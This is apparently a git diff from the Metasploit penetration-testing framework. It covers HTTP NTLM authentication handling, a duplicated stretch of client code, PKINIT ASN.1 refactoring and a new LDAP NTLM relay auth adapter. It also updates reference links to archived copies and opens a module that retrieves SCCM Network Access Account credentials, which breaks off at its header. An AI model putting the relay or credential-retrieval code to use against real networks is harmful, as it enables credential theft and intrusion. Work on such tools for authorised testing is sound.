provider = 'NTLM '
|
||||
end
|
||||
|
||||
opts['method'] ||= 'GET'
|
||||
opts['headers'] ||= {}
|
||||
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(6..13))
|
||||
domain_name = config['domain']
|
||||
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
opts['username'],
|
||||
opts['password'],
|
||||
workstation: workstation_name,
|
||||
domain: domain_name
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
|
||||
begin
|
||||
# Separate options for the auth requests
|
||||
auth_opts = opts.clone
|
||||
auth_opts['headers'] = opts['headers'].clone
|
||||
auth_opts['headers']['Authorization'] = provider + type1.encode64
|
||||
|
||||
if auth_opts['no_body_for_auth']
|
||||
auth_opts.delete('data')
|
||||
auth_opts.delete('ntlm_transform_request')
|
||||
auth_opts.delete('ntlm_transform_response')
|
||||
end
|
||||
|
||||
# First request to get the challenge
|
||||
r = request_cgi(auth_opts)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.is_a? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||
|
||||
# Get the challenge and craft the response
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||
return resp unless ntlm_challenge
|
||||
|
||||
ntlm_message_3 = ntlm_client.init_context(ntlm_challenge, channel_binding)
|
||||
|
||||
self.ntlm_client = ntlm_client
|
||||
# Send the response
|
||||
auth_opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}"
|
||||
r = request_cgi(auth_opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
|
||||
unless resp.is_a? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
if opts['no_body_for_auth']
|
||||
# If the body wasn't sent in the authentication, now do the actual request
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
end
|
||||
return resp
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def channel_binding
|
||||
if !conn.respond_to?(:peer_cert) or conn.peer_cert.nil?
|
||||
nil
|
||||
else
|
||||
Net::NTLM::ChannelBinding.create(OpenSSL::X509::Certificate.new(conn.peer_cert))
|
||||
end
|
||||
end
|
||||
|
||||
# Read a response from the server
|
||||
#
|
||||
# Wait at most t seconds for the full response to be read in.
|
||||
# If t is specified as a negative value, it indicates an indefinite wait cycle.
|
||||
# If t is specified as nil or 0, it indicates no response parsing is required.
|
||||
#
|
||||
# @return [Response]
|
||||
def read_response(t = -1, opts = {})
|
||||
# Return a nil response if timeout is nil or 0
|
||||
return if t.nil? || t == 0
|
||||
|
||||
resp = Response.new
|
||||
resp.max_data = config['read_max_data']
|
||||
|
||||
original_request = opts.fetch(:original_request) { nil }
|
||||
parse_opts = {}
|
||||
unless original_request.nil?
|
||||
parse_opts = { orig_method: original_request.opts['method'] }
|
||||
end
|
||||
|
||||
Timeout.timeout((t < 0) ? nil : t) do
|
||||
rv = nil
|
||||
while (
|
||||
!conn.closed? and
|
||||
rv != Packet::ParseCode::Completed and
|
||||
rv != Packet::ParseCode::Error
|
||||
)
|
||||
|
||||
begin
|
||||
buff = conn.get_once(resp.max_data, 1)
|
||||
rv = resp.parse(buff || '', parse_opts)
|
||||
|
||||
# Handle unexpected disconnects
|
||||
rescue ::Errno::EPIPE, ::EOFError, ::IOError
|
||||
case resp.state
|
||||
when Packet::ParseState::ProcessingHeader
|
||||
resp = nil
|
||||
when Packet::ParseState::ProcessingBody
|
||||
# truncated request, good enough
|
||||
resp.error = :truncated
|
||||
end
|
||||
break
|
||||
end
|
||||
|
||||
# This is a dirty hack for broken HTTP servers
|
||||
next unless rv == Packet::ParseCode::Completed
|
||||
|
||||
rbody = resp.body
|
||||
rbufq = resp.bufq
|
||||
|
||||
rblob = rbody.to_s + rbufq.to_s
|
||||
tries = 0
|
||||
begin
|
||||
# XXX: This doesn't deal with chunked encoding
|
||||
while tries < 1000 and resp.headers['Content-Type'] and resp.headers['Content-Type'].start_with?('text/html') and rblob !~ %r{</html>}i
|
||||
buff = conn.get_once(-1, 0.05)
|
||||
break if !buff
|
||||
|
||||
rblob += buff
|
||||
tries += 1
|
||||
end
|
||||
rescue ::Errno::EPIPE, ::EOFError, ::IOError
|
||||
end
|
||||
|
||||
resp.bufq = ''
|
||||
resp.body = rblob
|
||||
end
|
||||
end
|
||||
|
||||
return resp if !resp
|
||||
|
||||
# As a last minute hack, we check to see if we're dealing with a 100 Continue here.
|
||||
# Most of the time this is handled by the parser via check_100()
|
||||
if resp.proto == '1.1' and resp.code == 100 and !(opts[:skip_100])
|
||||
# Read the real response from the body if we found one
|
||||
# If so, our real response became the body, so we re-parse it.
|
||||
if resp.body.to_s =~ /^HTTP/
|
||||
body = resp.body
|
||||
resp = Response.new
|
||||
resp.max_data = config['read_max_data']
|
||||
resp.parse(body, parse_opts)
|
||||
# We found a 100 Continue but didn't read the real reply yet
|
||||
# Otherwise reread the reply, but don't try this hack again
|
||||
else
|
||||
resp = read_response(t, skip_100: true)
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
rescue Timeout::Error
|
||||
# Allow partial response due to timeout
|
||||
resp if config['partial']
|
||||
end
|
||||
|
||||
#
|
||||
# Cleans up any outstanding connections and other resources.
|
||||
#
|
||||
def stop
|
||||
close
|
||||
end
|
||||
|
||||
#
|
||||
# Returns whether or not the conn is valid.
|
||||
#
|
||||
def conn?
|
||||
conn != nil
|
||||
end
|
||||
|
||||
#
|
||||
# Whether or not connections should be pipelined.
|
||||
#
|
||||
def pipelining?
|
||||
pipeline
|
||||
end
|
||||
|
||||
#
|
||||
# Target host addr and port for this connection
|
||||
#
|
||||
def peerinfo
|
||||
if conn
|
||||
pi = conn.peerinfo || nil
|
||||
if pi
|
||||
return {
|
||||
'addr' => pi.split(':')[0],
|
||||
'port' => pi.split(':')[1].to_i
|
||||
}
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# An optional comm to use for creating the underlying socket.
|
||||
#
|
||||
attr_accessor :comm
|
||||
#
|
||||
# The client request configuration
|
||||
#
|
||||
attr_accessor :config
|
||||
#
|
||||
# The client request configuration classes
|
||||
#
|
||||
attr_accessor :config_types
|
||||
#
|
||||
# Whether or not pipelining is in use.
|
||||
#
|
||||
attr_accessor :pipeline
|
||||
#
|
||||
# The local host of the client.
|
||||
#
|
||||
attr_accessor :local_host
|
||||
#
|
||||
# The local port of the client.
|
||||
#
|
||||
attr_accessor :local_port
|
||||
#
|
||||
# The underlying connection.
|
||||
#
|
||||
attr_accessor :conn
|
||||
#
|
||||
# The calling context to pass to the socket
|
||||
#
|
||||
attr_accessor :context
|
||||
#
|
||||
# The proxy list
|
||||
#
|
||||
attr_accessor :proxies
|
||||
|
||||
# Auth
|
||||
attr_accessor :username, :password, :kerberos_authenticator
|
||||
|
||||
# When parsing the request, thunk off the first response from the server, since junk
|
||||
attr_accessor :junk_pipeline
|
||||
|
||||
# @return [Rex::Proto::Http::HttpSubscriber] The HTTP subscriber
|
||||
attr_accessor :subscriber
|
||||
|
||||
protected
|
||||
|
||||
# https
|
||||
attr_accessor :ssl, :ssl_version # :nodoc:
|
||||
|
||||
attr_accessor :hostname, :port # :nodoc:
|
||||
|
||||
#
|
||||
# The established NTLM connection info
|
||||
#
|
||||
attr_accessor :ntlm_client
|
||||
|
||||
#
|
||||
# The established kerberos connection info
|
||||
#
|
||||
attr_accessor :krb_encryptor
|
||||
end
|
||||
end
|
||||
|
||||
return resp if not resp
|
||||
|
||||
# As a last minute hack, we check to see if we're dealing with a 100 Continue here.
|
||||
# Most of the time this is handled by the parser via check_100()
|
||||
if resp.proto == '1.1' and resp.code == 100 and not opts[:skip_100]
|
||||
# Read the real response from the body if we found one
|
||||
# If so, our real response became the body, so we re-parse it.
|
||||
if resp.body.to_s =~ /^HTTP/
|
||||
body = resp.body
|
||||
resp = Response.new
|
||||
resp.max_data = config['read_max_data']
|
||||
rv = resp.parse(body, parse_opts)
|
||||
# We found a 100 Continue but didn't read the real reply yet
|
||||
# Otherwise reread the reply, but don't try this hack again
|
||||
else
|
||||
resp = read_response(t, :skip_100 => true)
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
rescue Timeout::Error
|
||||
# Allow partial response due to timeout
|
||||
resp if config['partial']
|
||||
end
|
||||
|
||||
#
|
||||
# Cleans up any outstanding connections and other resources.
|
||||
#
|
||||
def stop
|
||||
close
|
||||
end
|
||||
|
||||
#
|
||||
# Returns whether or not the conn is valid.
|
||||
#
|
||||
def conn?
|
||||
conn != nil
|
||||
end
|
||||
|
||||
#
|
||||
# Whether or not connections should be pipelined.
|
||||
#
|
||||
def pipelining?
|
||||
pipeline
|
||||
end
|
||||
|
||||
#
|
||||
# Target host addr and port for this connection
|
||||
#
|
||||
def peerinfo
|
||||
if self.conn
|
||||
pi = self.conn.peerinfo || nil
|
||||
if pi
|
||||
return {
|
||||
'addr' => pi.split(':')[0],
|
||||
'port' => pi.split(':')[1].to_i
|
||||
}
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# An optional comm to use for creating the underlying socket.
|
||||
#
|
||||
attr_accessor :comm
|
||||
#
|
||||
# The client request configuration
|
||||
#
|
||||
attr_accessor :config
|
||||
#
|
||||
# The client request configuration classes
|
||||
#
|
||||
attr_accessor :config_types
|
||||
#
|
||||
# Whether or not pipelining is in use.
|
||||
#
|
||||
attr_accessor :pipeline
|
||||
#
|
||||
# The local host of the client.
|
||||
#
|
||||
attr_accessor :local_host
|
||||
#
|
||||
# The local port of the client.
|
||||
#
|
||||
attr_accessor :local_port
|
||||
#
|
||||
# The underlying connection.
|
||||
#
|
||||
attr_accessor :conn
|
||||
#
|
||||
# The calling context to pass to the socket
|
||||
#
|
||||
attr_accessor :context
|
||||
#
|
||||
# The proxy list
|
||||
#
|
||||
attr_accessor :proxies
|
||||
|
||||
# Auth
|
||||
attr_accessor :username, :password, :kerberos_authenticator
|
||||
|
||||
# When parsing the request, thunk off the first response from the server, since junk
|
||||
attr_accessor :junk_pipeline
|
||||
|
||||
# @return [Rex::Proto::Http::HttpSubscriber] The HTTP subscriber
|
||||
attr_accessor :subscriber
|
||||
|
||||
protected
|
||||
|
||||
# https
|
||||
attr_accessor :ssl, :ssl_version # :nodoc:
|
||||
|
||||
attr_accessor :hostname, :port # :nodoc:
|
||||
|
||||
#
|
||||
# The established NTLM connection info
|
||||
#
|
||||
attr_accessor :ntlm_client
|
||||
|
||||
#
|
||||
# The established kerberos connection info
|
||||
#
|
||||
attr_accessor :krb_encryptor
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -116,6 +116,16 @@ class Response < Packet
|
||||
Nokogiri::XML(self.body)
|
||||
end
|
||||
|
||||
def gzip_decode!
|
||||
self.body = gzip_decode
|
||||
end
|
||||
|
||||
def gzip_decode
|
||||
gz = Zlib::GzipReader.new(StringIO.new(self.body.to_s))
|
||||
|
||||
gz.read
|
||||
end
|
||||
|
||||
# Returns a parsed json document.
|
||||
# Instead of using regexes to parse the JSON body, you should use this.
|
||||
#
|
||||
|
||||
@@ -213,7 +213,7 @@ class Server
|
||||
"<title>404 Not Found</title>" +
|
||||
"</head><body>" +
|
||||
"<h1>Not found</h1>" +
|
||||
"The requested URL #{html_escape(request.resource)} was not found on this server.<p><hr>" +
|
||||
"The requested URL #{ERB::Util.html_escape(request.resource)} was not found on this server.<p><hr>" +
|
||||
"</body></html>"
|
||||
|
||||
# Send the response to the client like what
|
||||
|
||||
@@ -8,78 +8,6 @@ module Rex
|
||||
# Contains the models for PKINIT-related ASN1 structures
|
||||
# These use the RASN1 library to define the types
|
||||
module Pkinit
|
||||
class AlgorithmIdentifier < RASN1::Model
|
||||
sequence :algorithm_identifier,
|
||||
content: [objectid(:algorithm),
|
||||
any(:parameters, optional: true)
|
||||
]
|
||||
end
|
||||
|
||||
class Attribute < RASN1::Model
|
||||
sequence :attribute,
|
||||
content: [objectid(:attribute_type),
|
||||
set_of(:attribute_values, RASN1::Types::Any)
|
||||
]
|
||||
end
|
||||
|
||||
class AttributeTypeAndValue < RASN1::Model
|
||||
sequence :attribute_type_and_value,
|
||||
content: [objectid(:attribute_type),
|
||||
any(:attribute_value)
|
||||
]
|
||||
end
|
||||
|
||||
class Certificate
|
||||
# Rather than specifying the entire structure of a certificate, we pass this off
|
||||
# to OpenSSL, effectively providing an interface between RASN and OpenSSL.
|
||||
|
||||
attr_accessor :options
|
||||
|
||||
def initialize(options={})
|
||||
self.options = options
|
||||
end
|
||||
|
||||
def to_der
|
||||
self.options[:openssl_certificate]&.to_der || ''
|
||||
end
|
||||
|
||||
# RASN1 Glue method - Say if DER can be built (not default value, not optional without value, has a value)
|
||||
# @return [Boolean]
|
||||
# @since 0.12
|
||||
def can_build?
|
||||
!to_der.empty?
|
||||
end
|
||||
|
||||
# RASN1 Glue method
|
||||
def primitive?
|
||||
false
|
||||
end
|
||||
|
||||
# RASN1 Glue method
|
||||
def value
|
||||
options[:openssl_certificate]
|
||||
end
|
||||
|
||||
def parse!(str, ber: false)
|
||||
self.options[:openssl_certificate] = OpenSSL::X509::Certificate.new(str)
|
||||
to_der.length
|
||||
end
|
||||
end
|
||||
|
||||
class ContentInfo < RASN1::Model
|
||||
sequence :content_info,
|
||||
content: [objectid(:content_type),
|
||||
# In our case, expected to be SignedData
|
||||
any(:signed_data)
|
||||
]
|
||||
|
||||
def signed_data
|
||||
if self[:content_type].value == '1.2.840.113549.1.7.2'
|
||||
SignedData.parse(self[:signed_data].value)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class DomainParameters < RASN1::Model
|
||||
sequence :domain_parameters,
|
||||
content: [integer(:p),
|
||||
@@ -90,46 +18,6 @@ module Rex
|
||||
]
|
||||
end
|
||||
|
||||
class EncapsulatedContentInfo < RASN1::Model
|
||||
sequence :encapsulated_content_info,
|
||||
content: [objectid(:econtent_type),
|
||||
octet_string(:econtent, explicit: 0, constructed: true, optional: true)
|
||||
]
|
||||
|
||||
def econtent
|
||||
if self[:econtent_type].value == '1.3.6.1.5.2.3.2'
|
||||
KdcDhKeyInfo.parse(self[:econtent].value)
|
||||
elsif self[:econtent_type].value == '1.3.6.1.5.2.3.1'
|
||||
AuthPack.parse(self[:econtent].value)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Name
|
||||
# Rather than specifying the entire structure of a name, we pass this off
|
||||
# to OpenSSL, effectively providing an interface between RASN and OpenSSL.
|
||||
attr_accessor :value
|
||||
|
||||
def initialize(options={})
|
||||
end
|
||||
|
||||
def parse!(str, ber: false)
|
||||
self.value = OpenSSL::X509::Name.new(str)
|
||||
to_der.length
|
||||
end
|
||||
|
||||
def to_der
|
||||
self.value.to_der
|
||||
end
|
||||
end
|
||||
|
||||
class IssuerAndSerialNumber < RASN1::Model
|
||||
sequence :signer_identifier,
|
||||
content: [model(:issuer, Name),
|
||||
integer(:serial_number)
|
||||
]
|
||||
end
|
||||
|
||||
class KdcDhKeyInfo < RASN1::Model
|
||||
sequence :kdc_dh_key_info,
|
||||
content: [bit_string(:subject_public_key, explicit: 0, constructed: true),
|
||||
@@ -148,41 +36,10 @@ module Rex
|
||||
]
|
||||
end
|
||||
|
||||
class SignerInfo < RASN1::Model
|
||||
sequence :signer_info,
|
||||
content: [integer(:version),
|
||||
model(:sid, IssuerAndSerialNumber),
|
||||
model(:digest_algorithm, AlgorithmIdentifier),
|
||||
set_of(:signed_attrs, Attribute, implicit: 0, optional: true),
|
||||
model(:signature_algorithm, AlgorithmIdentifier),
|
||||
octet_string(:signature),
|
||||
]
|
||||
end
|
||||
|
||||
class SignedData < RASN1::Model
|
||||
sequence :signed_data,
|
||||
explicit: 0, constructed: true,
|
||||
content: [integer(:version),
|
||||
set_of(:digest_algorithms, AlgorithmIdentifier),
|
||||
model(:encap_content_info, EncapsulatedContentInfo),
|
||||
set_of(:certificates, Certificate, implicit: 0, optional: true),
|
||||
# CRLs - not implemented
|
||||
set_of(:signer_infos, SignerInfo)
|
||||
]
|
||||
end
|
||||
|
||||
class SubjectPublicKeyInfo < RASN1::Model
|
||||
sequence :subject_public_key_info,
|
||||
explicit: 1, constructed: true, optional: true,
|
||||
content: [model(:algorithm, AlgorithmIdentifier),
|
||||
bit_string(:subject_public_key)
|
||||
]
|
||||
end
|
||||
|
||||
class AuthPack < RASN1::Model
|
||||
sequence :auth_pack,
|
||||
content: [model(:pk_authenticator, PkAuthenticator),
|
||||
model(:client_public_value, SubjectPublicKeyInfo),
|
||||
model(:client_public_value, Rex::Proto::CryptoAsn1::X509::SubjectPublicKeyInfo),
|
||||
octet_string(:client_dh_nonce, implicit: 3, constructed: true, optional: true)
|
||||
]
|
||||
end
|
||||
|
||||
@@ -14,7 +14,7 @@ module Rex
|
||||
]
|
||||
|
||||
def dh_rep_info
|
||||
Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(self[:dh_rep_info].value)
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:dh_rep_info].value)
|
||||
end
|
||||
|
||||
def self.decode(data)
|
||||
|
||||
@@ -15,7 +15,7 @@ module Rex
|
||||
|
||||
def parse!(der, ber: false)
|
||||
res = super(der, ber: ber)
|
||||
self.signed_auth_pack = Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(self[:signed_auth_pack].value)
|
||||
self.signed_auth_pack = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:signed_auth_pack].value)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'rex/proto/ldap/auth_adapter/rex_kerberos'
|
||||
require 'rex/proto/ldap/auth_adapter/rex_ntlm'
|
||||
require 'rex/proto/ldap/auth_adapter/rex_relay_ntlm'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'net/ldap/auth_adapter'
|
||||
require 'net/ldap/auth_adapter/sasl'
|
||||
require 'rubyntlm'
|
||||
|
||||
module Rex::Proto::LDAP::AuthAdapter
|
||||
# This implements NTLM authentication but facilitates operation from within a relay context where the NTLM processing
|
||||
# is being handled by an external entity (the relay victim) and it expects to be called repeatedly with the necessary
|
||||
# NTLM message
|
||||
class RexRelayNtlm < Net::LDAP::AuthAdapter
|
||||
# @param auth [Hash] the options for binding
|
||||
# @option opts [String] :ntlm_message the serialized NTLM message to send to the server, the type does not matter
|
||||
def bind(auth)
|
||||
mech = 'GSS-SPNEGO'
|
||||
ntlm_message = auth[:ntlm_message]
|
||||
raise Net::LDAP::BindingInformationInvalidError, "Invalid binding information (invalid NTLM message)" unless ntlm_message
|
||||
|
||||
message_id = @connection.next_msgid
|
||||
sasl = [mech.to_ber, ntlm_message.to_ber].to_ber_contextspecific(3)
|
||||
request = [
|
||||
Net::LDAP::Connection::LdapVersion.to_ber, "".to_ber, sasl
|
||||
].to_ber_appsequence(Net::LDAP::PDU::BindRequest)
|
||||
|
||||
@connection.send(:write, request, nil, message_id)
|
||||
pdu = @connection.queued_read(message_id)
|
||||
|
||||
if !pdu || pdu.app_tag != Net::LDAP::PDU::BindResult
|
||||
raise Net::LDAP::NoBindResultError, "no bind result"
|
||||
end
|
||||
|
||||
pdu
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Net::LDAP::AuthAdapter.register(:rex_relay_ntlm, Rex::Proto::LDAP::AuthAdapter::RexRelayNtlm)
|
||||
@@ -288,7 +288,15 @@ class SimpleClient
|
||||
end
|
||||
|
||||
def peerinfo
|
||||
"#{peerhost}:#{peerport}"
|
||||
Rex::Socket.to_authority(peerhost, peerport)
|
||||
end
|
||||
|
||||
def signing_required
|
||||
if client.is_a?(Rex::Proto::SMB::Client)
|
||||
client.peer_require_signing
|
||||
else
|
||||
client.signing_required
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@@ -129,7 +129,7 @@ Gem::Specification.new do |spec|
|
||||
# Needed for some modules (polkit_auth_bypass.rb)
|
||||
spec.add_runtime_dependency 'unix-crypt'
|
||||
# Needed for Kerberos structure parsing; Pinned to ensure a security review is performed on updates
|
||||
spec.add_runtime_dependency 'rasn1', '0.13.0'
|
||||
spec.add_runtime_dependency 'rasn1', '0.14.0'
|
||||
|
||||
#
|
||||
# File Parsing Libraries
|
||||
|
||||
@@ -33,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'References' => [
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/'],
|
||||
[ 'URL', 'http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/'],
|
||||
[ 'URL', 'https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581' ],
|
||||
[ 'OSVDB', '110664' ],
|
||||
[ 'CVE', '2014-6041' ]
|
||||
|
||||
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
},
|
||||
'Author' => ['wvu'],
|
||||
'References' => [
|
||||
['URL', 'https://www.amazon.com/dp/B00CX5P8FC?_encoding=UTF8&showFS=1'],
|
||||
['URL', 'http://http://web.archive.org/web/20210301101536/http://www.amazon.com/dp/B00CX5P8FC/?_encoding=UTF8'],
|
||||
['URL', 'https://www.amazon.com/dp/B00GDQ0RMG/ref=fs_ftvs']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
[ 'CVE', '2015-0964' ], # XSS vulnerability
|
||||
[ 'CVE', '2015-0965' ], # CSRF vulnerability
|
||||
[ 'CVE', '2015-0966' ], # "technician/yZgO8Bvj" web interface backdoor
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20220810083803/https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ],
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
@@ -55,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
['CVE', '2023-20198'],
|
||||
# Vendor advisories.
|
||||
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],
|
||||
['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],
|
||||
['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],
|
||||
# Vendor list of (205) vulnerable versions.
|
||||
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],
|
||||
# Technical details on CVE-2023-20198.
|
||||
|
||||
@@ -55,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
['CVE', '2023-20273'],
|
||||
# Vendor advisories.
|
||||
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],
|
||||
['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],
|
||||
['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],
|
||||
# Vendor list of (205) vulnerable versions.
|
||||
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],
|
||||
# Technical details on CVE-2023-20198.
|
||||
|
||||
@@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' => [
|
||||
[ 'CVE', '2013-0136' ],
|
||||
[ 'US-CERT-VU', '701572' ],
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]
|
||||
[ 'URL', 'http://web.archive.org/web/20250114041839/https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]
|
||||
],
|
||||
'Actions' => [
|
||||
['Read', { 'Description' => 'Read arbitrary file' }],
|
||||
|
||||
@@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ]
|
||||
[ 'URL', 'http://web.archive.org/web/20230402081629/https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
|
||||
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' => [
|
||||
[ 'CVE', '2012-2626' ],
|
||||
[ 'OSVDB', '84318' ],
|
||||
[ 'URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt' ]
|
||||
[ 'URL', 'http://web.archive.org/web/20130827051639/https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt' ]
|
||||
],
|
||||
'Author' => [
|
||||
'MC',
|
||||
|
||||
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' => [
|
||||
['CVE', '2020-1938'],
|
||||
['EDB', '48143'],
|
||||
['URL', 'https://www.chaitin.cn/en/ghostcat']
|
||||
['URL', 'http://web.archive.org/web/20250114042903/https://www.chaitin.cn/en/ghostcat']
|
||||
],
|
||||
'DisclosureDate' => '2020-02-20',
|
||||
'Notes' => {
|
||||
|
||||
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' => [
|
||||
['CVE', '2010-3714'],
|
||||
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'],
|
||||
['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'],
|
||||
['URL', 'http://web.archive.org/web/20180126053019/http://gregorkopf.de/slides_berlinsides_2010.pdf'],
|
||||
],
|
||||
'Author' => [
|
||||
'Chris John Riley',
|
||||
|
||||
@@ -31,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
['OSVDB', '114751'],
|
||||
['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],
|
||||
['URL', 'https://github.com/bidord/pykek'],
|
||||
['URL', 'http://web.archive.org/web/20180107213459/https://github.com/bidord/pykek'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.metasploit.com/users/mc' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ],
|
||||
],
|
||||
'DisclosureDate' => '2007-12-07'))
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.metasploit.com/users/mc' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ],
|
||||
],
|
||||
'DisclosureDate' => '2007-12-07'))
|
||||
|
||||
|
||||
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.metasploit.com/users/mc' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ],
|
||||
[ 'URL' , 'http://www.red-database-security.com/scripts/sid.txt' ],
|
||||
],
|
||||
'DisclosureDate' => '2009-01-07'))
|
||||
|
||||
@@ -0,0 +1,491 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'time'
|
||||
require 'nokogiri'
|
||||
require 'rasn1'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
|
||||
KEY_SIZE = 2048
|
||||
SECRET_POLICY_FLAG = 4
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Get NAA Credentials',
|
||||
'Description' => %q{
|
||||
This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.
|
||||
This requires a computer account, which can be added using the samr_account module.
|
||||
},
|
||||
'Author' => [
|
